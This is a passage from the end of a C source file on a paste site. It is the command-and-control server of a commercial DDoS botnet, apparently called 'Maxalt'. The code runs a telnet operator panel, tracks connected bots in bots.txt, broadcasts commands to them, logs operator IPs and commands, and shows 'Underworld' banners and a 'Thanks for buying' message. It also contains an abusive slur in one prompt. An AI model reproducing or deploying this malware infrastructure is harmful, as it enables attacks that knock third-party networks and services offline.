  708. if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  709. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  710. if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  711. managements[thefd].connected = 1;
  712. }
  713. if(strstr(buf, "Rias")){
  714.  
  715. char ascii_banner_line10 [5000];
  716. char ascii_banner_line11 [5000];
  717. char ascii_banner_line12 [5000];
  718. char ascii_banner_line13 [5000];
  719. char ascii_banner_line14 [5000];
  720. char ascii_banner_line15 [5000];
  721. char ascii_banner_line16 [5000];
  722. char crystal1 [80];
  723. char crystal2 [80];
  724.  
  725. sprintf(ascii_banner_line10, "\x1b[0;31m██████╗ ██╗ █████╗ ███████╗\r\n");
  726. sprintf(ascii_banner_line11, "\x1b[0;31m██╔══██╗██║██╔══██╗██╔════╝\r\n");
  727. sprintf(ascii_banner_line12, "\x1b[0;31m██████╔╝██║███████║███████╗\r\n");
  728. sprintf(ascii_banner_line13, "\x1b[0;31m██╔══██╗██║██╔══██║╚════██║\r\n");
  729. sprintf(ascii_banner_line14, "\x1b[0;31m██║ ██║██║██║ ██║███████║\r\n");
  730. sprintf(ascii_banner_line15, "\x1b[0;31m╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚══════╝\r\n");
  731. sprintf(ascii_banner_line16, "\x1b[0;31m \r\n");
  732. sprintf(crystal1, "\x1b[0;35m $ \x1b[31mWelcome To The Underworld\x1b[0;35m $\r\n", accounts[find_line].id, buf);
  733. sprintf(crystal2, "\x1b[0;35m $ \x1b[35m Type Help Retard\x1b[0;35m $ \x1b\r\n");
  734.  
  735. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  736. if(send(thefd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  737. if(send(thefd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  738. if(send(thefd, ascii_banner_line12, strlen(ascii_banner_line12), MSG_NOSIGNAL) == -1) goto end;
  739. if(send(thefd, ascii_banner_line13, strlen(ascii_banner_line13), MSG_NOSIGNAL) == -1) goto end;
  740. if(send(thefd, ascii_banner_line14, strlen(ascii_banner_line14), MSG_NOSIGNAL) == -1) goto end;
  741. if(send(thefd, ascii_banner_line15, strlen(ascii_banner_line15), MSG_NOSIGNAL) == -1) goto end;
  742. if(send(thefd, ascii_banner_line16, strlen(ascii_banner_line16), MSG_NOSIGNAL) == -1) goto end;
  743. if(send(thefd, crystal1, strlen(crystal1), MSG_NOSIGNAL) == -1) goto end;
  744. if(send(thefd, crystal2, strlen(crystal2), MSG_NOSIGNAL) == -1) goto end;
  745. while(1) {
  746. if(send(thefd, "\x1b[0;35mMaxalt> \x1b[0;31m", 13, MSG_NOSIGNAL) == -1) goto end;
  747. break;
  748. }
  749. pthread_create(&title, NULL, &titleWriter, sock);
  750. managements[thefd].connected = 1;
  751. continue;
  752. }
  753. if(strstr(buf, "Botnet")){
  754. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  755. char small1[80];
  756.  
  757. sprintf(small1, "\x1b[0;36m*\x1b[0;35mWelcome To The Underworld!\x1b[0;36m*\r\n");
  758.  
  759. if(send(thefd, "\x1b[0;36m*************************************\r\n", 51, MSG_NOSIGNAL) == -1) goto end;
  760. if(send(thefd, small1, strlen(small1), MSG_NOSIGNAL) == -1) goto end;
  761. if(send(thefd, "\x1b[0;36m*************************************\r\n\r\n~>\x1b[0m", 50, MSG_NOSIGNAL) == -1) goto end;
  762. while(1) {
  763. if(send(thefd, "\x1b[0;35mMaxalt> \x1b[0;31m", 13, MSG_NOSIGNAL) == -1) goto end;
  764. break;
  765. }
  766. pthread_create(&title, NULL, &titleWriter, sock);
  767. managements[thefd].connected = 1;
  768. continue;
  769. }
  770.  
  771. if(strstr(buf, "GB"))
  772. {
  773. sprintf(botnet, "Thanks for buying %s see you next time\r\n", accounts[find_line].id, buf);
  774. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  775. goto end;
  776. }
  777. trim(buf);
  778. if(send(thefd, "\x1b[37m~> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  779. if(strlen(buf) == 0) continue;
  780. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  781. FILE *logFile;
  782. logFile = fopen("report.log", "a");
  783. fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
  784. fclose(logFile);
  785. broadcast(buf, thefd, usernamez);
  786. memset(buf, 0, 2048);
  787. }
  788. end:
  789. managements[thefd].connected = 0;
  790. close(thefd);
  791. managesConnected--;
  792. }
  793. void *telnetListener(int port)
  794. {
  795. int sockfd, newsockfd;
  796. socklen_t clilen;
  797. struct sockaddr_in serv_addr, cli_addr;
  798. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  799. if (sockfd < 0) perror("ERROR opening socket");
  800. bzero((char *) &serv_addr, sizeof(serv_addr));
  801. serv_addr.sin_family = AF_INET;
  802. serv_addr.sin_addr.s_addr = INADDR_ANY;
  803. serv_addr.sin_port = htons(port);
  804. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  805. listen(sockfd,5);
  806. clilen = sizeof(cli_addr);
  807. while(1)
  808.  
  809. { printf("IP logged: ");
  810. client_addr(cli_addr);
  811. FILE *logFile;
  812. logFile = fopen("ip.log", "a");
  813. fprintf(logFile, "%d.%d.%d.%d", cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
  814. fclose(logFile);
  815. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  816. if (newsockfd < 0) perror("ERROR on accept");
  817. pthread_t thread;
  818. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd); }
  819. }
  820.  
  821. int main (int argc, char *argv[], void *sock)
  822. {
  823. signal(SIGPIPE, SIG_IGN);
  824. int s, threads, port;
  825. struct epoll_event event;
  826. if (argc != 4)
  827. {
  828. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  829. exit (EXIT_FAILURE);
  830. }
  831. port = atoi(argv[3]);
  832. printf("\x1b[31mTHIS SHIT PRIVATE,\x1b[34m DO NOT FUCKING LEAK, \x1b[32mMaxalts \x1b[35mP2P \x1b[36mScreened\x1b[0m\n");
  833. telFD = fopen("bots.txt", "a+");
  834. threads = atoi(argv[2]);
  835. listenFD = create_and_bind (argv[1]);
  836. if (listenFD == -1) abort ();
  837. s = make_socket_non_blocking (listenFD);
  838. if (s == -1) abort ();
  839. s = listen (listenFD, SOMAXCONN);
  840. if (s == -1)
  841. {
  842. perror ("listen");
  843. abort ();
  844. }
  845. epollFD = epoll_create1 (0);
  846. if (epollFD == -1)
  847. {
  848. perror ("epoll_create");
  849. abort ();
  850. }
  851. event.data.fd = listenFD;
  852. event.events = EPOLLIN | EPOLLET;
  853. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  854. if (s == -1)
  855. {
  856. perror ("epoll_ctl");
  857. abort ();
  858. }
  859. pthread_t thread[threads + 2];
  860. while(threads--)
  861. {
  862. pthread_create( &thread[threads + 2], NULL, &epollEventLoop, (void *) NULL);
  863. }
  864. pthread_create(&thread[0], NULL, &telnetListener, port);
  865. while(1)
  866. {
  867. broadcast("PING", -1, "Maxalt");
  868. sleep(60);
  869. }
  870. close (listenFD);
  871. return EXIT_SUCCESS;
  872. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement